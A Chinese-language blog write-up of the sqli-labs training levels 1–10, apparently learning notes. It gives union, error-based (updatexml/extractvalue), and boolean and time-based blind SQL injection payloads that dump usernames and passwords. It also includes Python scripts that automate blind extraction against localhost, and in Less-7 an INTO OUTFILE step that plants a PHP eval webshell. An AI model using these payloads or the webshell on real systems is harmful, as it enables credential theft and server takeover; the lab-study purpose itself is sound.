sqli labs(Less-1至Less-10)

网安兴趣爱好者,初次分享学习笔记。

Less-1

类型

字符型回显注入'

输入点
  • 根据添加'页面的回显,可以判断出'是闭合

image-20201022190820538

image-20201022190837113

输出点
  • payload:?id=1' and 1=1--+

image-20201022191307023

  • payload:?id=1' and 1=1--+

    image-20201022191415249

    根据二者的回显不同,来判断出输出点

获取数据方式
  • 通过union联合查询注入

注入步骤
  • 判断列数payload:?id=1' order by 3--+ 4的时候页面回显报错,所以判断出列数为3列

  • 联合查询,判断各列输出的位置payload:?id=-1' union select 1,2,3--+

  • 获取数据库payload:?id=-1' union select 1,database(),3--+

  • 爆数据表payload:?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

  • 爆users表的数据字段payload:?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

  • 在爆出的字段中里面看到了password和username,于是爆数据?id=-1' union select 1,group_concat(username,'~',password),3 from users--+username和password中间使用~来分隔

Less-2

注入类型

数字型注入

输入点/输出点
  • 输入payload:?id=1' and 1=2--+页面回显报错

  • 输入payload:?id=-1 and 1=2--+无回显

所以判断这个查询代码使用的是整数。所以就是将后面多余的代码通过--+注释掉就好

获取数据方式
  • 通过union联合查询注入

注入步骤
  • 判断列数payload: 4的时候页面回显报错,所以判断出列数为3列

  • 联合查询,判断各列输出的位置payload:?id=-1 union select 1,2,3--+

  • 获取数据库payload:?id=-1 union select 1,database(),3--+

  • 爆数据表payload:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

  • 爆users表的数据字段payload:?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

  • 在爆出的字段中里面看到了password和username,于是爆数据?id=-1 union select 1,group_concat(username,'~',password),3 from users--+username和password中间使用~来分隔

Less-3

注入类型

字符型回显注入')'

注入点
  • 输入payload:?id=1'--+页面回显报错image-20201022202337717

  • 根据报错添加')'闭合,输入payload:?id=1') --+回显正常

所以判断在后面加')来闭合注入

获取数据方式
  • 通过union联合查询注入

注入步骤
  • 判断列数payload: 4的时候页面回显报错,所以判断出列数为3列

  • 联合查询,判断各列输出的位置payload:?id=-1') union select 1,2,3--+

  • 获取数据库payload:?id=-1') union select 1,database(),3--+

  • 爆数据表payload:?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

  • 爆users表的数据字段payload:?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

  • 在爆出的字段中里面看到了password和username,于是爆数据?id=-1') union select 1,group_concat(username,'~',password),3 from users--+username和password中间使用~来分隔

Less-4

注入类型

字符型注入

注入点
  • 输入payload:?id=1"页面回显报错image-20201022203218139

  • 根据报错添加')'闭合,输入payload:?id=1") --+回显正常

所以判断在后面加")来闭合注入

获取数据方式
  • 通过union联合查询注入

注入步骤
  • 判断列数payload: 4的时候页面回显报错,所以判断出列数为3列

  • 联合查询,判断各列输出的位置payload:?id=-1") union select 1,2,3--+

  • 获取数据库payload:?id=-1") union select 1,database(),3--+

  • 爆数据表payload:?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

  • 爆users表的数据字段payload:?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

  • 在爆出的字段中里面看到了password和username,于是爆数据?id=-1") union select 1,group_concat(username,'~',password),3 from users--+username和password中间使用~来分隔

Less-5

注入类型

报错注入

注入点
  • 输入payload:?id=1回显为image-20201022204407210

  • 输入payload:?id=1"回显也为image-20201022204407210

  • 输入payload:?id=1'会回显报错

所以可以通过'来使其报错,从而实现报错注入

获取数据方式
  • 通过updatexml来报错注入查询

注入步骤
  • 报错注入不需要判断字段数,所以直接爆数据库名payload:?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '

  • 爆数据表payload:1' or updatexml(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema=database()),'~'),1) or '

  • 爆字段payload:1' or updatexml(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_name='users'),'~'),1) or ' 右:id=1' or updatexml(1,right(concat('~',(select group_concat(column_name)from information_schema.columns where table_name='users'),'~'),32),1) or '

  • 爆数据payload:=1' and updatexml(1, concat(0x7e,(select (group_concat(username,password)) from users),0x7e),1) or ' payload:id=1' and updatexml(1, right(concat(0x7e,(select (group_concat(username,password)) from users),0x7e),32),1) or '

 

Less-6

注入类型

报错注入

注入点
  • 输入payload:?id=1回显为image-20201022204407210

  • 输入payload:?id=1'回显也为image-20201022204407210

  • 输入payload:?id=1"会回显报错

所以可以通过"来使其报错,从而实现报错注入

获取数据方式
  • 通过extractvalue来报错注入查询

注入步骤
  • 报错注入不需要判断字段数,所以直接爆数据库名payload:?id=1" or extractvalue(1,concat(0x7e,(select database()),0x7e))%23

  • 爆数据表payload:id=1" or extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'))%23

  • 爆字段payload:id=1" or extractvalue(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_name='users'),'~'))%23 右:id=1" or extractvalue(1,right(concat('~',(select group_concat(column_name)from information_schema.columns where table_name='users'),'~'),32))%23

  • 爆数据payload:?id=1" and extractvalue(1, concat(0x7e,(select (group_concat(username,password)) from users),0x7e))%23 payload:?id=1" and extractvalue(1, right(concat(0x7e,(select (group_concat(username,password)) from users),0x7e),32))%23

Less-7

注入类型

outfile (文件导入方式注入)

注入点
  • 在后面加',"都是返回错误image-20201026124251529

  • 在后面加'))回显正常image-20201026124346668

    所以可以使用'))来闭合它然后自己添加语句

注入方式

文件导入方式注入

注入步骤

使用的环境是phpstudy,需要修改环境里mysql配置文件,my.ini文件

找到my.ini文件,查找secure_file_priv参数,将前面的分号去掉,如果没有就添加secure_file_priv=""这行

  • 判断字段数:?id=1')) order by 3--+

  • 注入一句话木马:?id=1'))UNION SELECT 1,2,'<?php @eval($_post[“mima”])?>' i nto outfile "F:\\PHP\\phpstudy\\phpstudy_2018\\PHPTutorial\\WWW\\sqli\\Less-7\\yijuhua.php"--+ 这里使用2个反斜杠的原因是转义

  • 接着使用一句话木马连接就好

Less-8

注入类型

布尔型盲注

注入点
  • 输入?id=1 and 1=2,页面虽然没有具体回显,但也没有报错,判断是字符串型注入

  • 再输入?id=1',页面没有回显了,再输入?id=1'#,页面有回显,说明就是应该就是字符串单引号注入了

所以可以使用'来闭合它然后自己添加语句

注入方式

python脚本盲注(布尔型)

  • 因为页面没有报错信息,语句错误时没有回显,语句正确时有回显

  • 有无回显代表了语句是否错误,说明可以用布尔盲注来进行注入

  •  length()函数:返回字符串str的长度,以字节为单位
     ascii()函数:返回字符串的ascii值
     substr()函数:用来截取数据库某一列字段中的一部分,
     substr(pos,len)表示从pos开始的位置,截取len个字符(空白也算字符)
     limit用法:limit m,n表示从m+1开始取n条

     

注入步骤
  • 爆数据库:payload:1'and length(database())={}#判断数据库的长度,正常回显,那么就是数据库长度正常

    payload:1' and ascii(substr(database(),1,1)) =115 #判断数据库的第一个字母,回显正常就是正确的,不断尝试。(第一个1代表第几个字母)

  • 爆数据表:payload:1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))<113 #操作同爆库名一样,需要不断尝试(先使用大于小于来大致判断位置)

  • 爆字段:payload:1' and ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 0,1),1,1))<113 #(先使用大于小于来大致判断位置)

  • 爆数据:payload:1' and ascii(substr((select concat(列1,0x3a,列2..) from 表名 limit 0,1),1,1))<113 #

python脚本

 import requests
 url = "http://localhost/sqli/Less-8/"#url
 for i in range(0,10):#具体想判断的数值
     parm = {"id": "1'and length(database())={}#".format(i)}#payload
     req = requests.get(url, params=parm)
     if "You are in..........." in req.text:
         print(i)
         break

爆字段

 import requests
 url = "http://localhost/sqli/Less-8/"#url
 for i in range(65,123):#具体想判断的数值
     parm = {"id": "1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))={}#".format(i)}#payload
     req = requests.get(url, params=parm)
     if "You are in..........." in req.text:
         print(i)
         break

二分法:

 import requests
 def result(a,b):
     if (a+b)%2==0:
         return (a+b)/2
     else:
         return (a+b-1)/2
 #url
 url = "http://localhost/2.sqli/Less-8/"
 left=65
 mid=94
 right=123
 while True:
     #payload
     parm = {"id": "1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)) > %d #" % mid}
     req = requests.get(url, params=parm)
     if "You are in..........." in req.text:
         left = mid
         mid=result(right,mid)
     else:
         right = mid
         mid=result(left,mid)
     if right == mid or left == mid:
         print(chr(int(right))) if right > left else print(chr(int(left)))
         break

 

Less-9

注入类型

时间型盲注

注入点
  • 无论输入什么东西,页面都只有回显一个页面,所以只能使用时间盲注

  • 再输入?id=1'and sleep(2) --+,页面延迟了2秒显示

所以可以使用'来闭合它然后使用sleep函数来进行时间盲注

注入方式

python脚本盲注(时间型)

  • 因为页面永远回显一个页面,所以根据页面刷新的速度来判断输入语句是否正确,以此来获取数

  • 时间盲注和布尔盲注差不多,只是判断的依据不同(根据页面刷新的速度),多了sleep()函数

  •  if表达式:if(expr1,expr2,expr3)
     如果expr1是true(expr1 <> 0 and expr1 <> NULL),if()的返回值为expr2; 否则返回值则为 expr3
     sleep(n):让此语句运行n秒钟
     可以通过if表达式和sleep()函数的应用,通过语句运行时间来判断正确信息

     

注入步骤
  • 爆数据库:payload:1'and if(length(database())={},sleep(2))#判断数据库的长度,正常回显,那么就是数据库长度正常

    payload:1' and if(ascii(substr(database(),1,1))<113,sleep(2),0) #判断数据库的第一个字母,回显正常就是正确的,不断尝试。(第一个1代表第几个字母)

  • 爆数据表:payload:1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))<113,sleep(2),0) #操作同爆库名一样,需要不断尝试(先使用大于小于来大致判断位置)

  • 爆字段:payload:1' and if(ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 0,1),1,1))<113,sleep(2),0) #(先使用大于小于来大致判断位置)

  • 爆数据:payload:1' and if(ascii(substr((select concat(列1,0x3a,列2..) from 表名 limit 0,1),1,1))<113,sleep(2),0) #

Lsee-10

注入类型

时间型盲注

注入点
  • 无论输入什么东西,页面都只有回显一个页面,所以只能使用时间盲注

  • 再输入?id=1'and sleep(2) --+,页面延迟了2秒显示

所以可以使用'来闭合它然后使用sleep函数来进行时间盲注

注入方式

python脚本盲注(时间型)

  • 因为页面永远回显一个页面,所以根据页面刷新的速度来判断输入语句是否正确,以此来获取数

  • 时间盲注和布尔盲注差不多,只是判断的依据不同(根据页面刷新的速度),多了sleep()函数

  •  if表达式:if(expr1,expr2,expr3)
     如果expr1是true(expr1 <> 0 and expr1 <> NULL),if()的返回值为expr2; 否则返回值则为 expr3
     sleep(n):让此语句运行n秒钟
     可以通过if表达式和sleep()函数的应用,通过语句运行时间来判断正确信息

     

注入步骤
  • 爆数据库:payload:1'and if(length(database())={},sleep(2))#判断数据库的长度,正常回显,那么就是数据库长度正常

    payload:1' and if(ascii(substr(database(),1,1))<113,sleep(2),0) #判断数据库的第一个字母,回显正常就是正确的,不断尝试。(第一个1代表第几个字母)

  • 爆数据表:payload:1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))<113,sleep(2),0) #操作同爆库名一样,需要不断尝试(先使用大于小于来大致判断位置)

  • 爆字段:payload:1' and if(ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 0,1),1,1))<113,sleep(2),0) #(先使用大于小于来大致判断位置)

  • 爆数据:payload:1' and if(ascii(substr((select concat(列1,0x3a,列2..) from 表名 limit 0,1),1,1))<113,sleep(2),0) #

posted @ 2021-08-23 14:34  TeN_404  阅读(95)  评论(0)    收藏  举报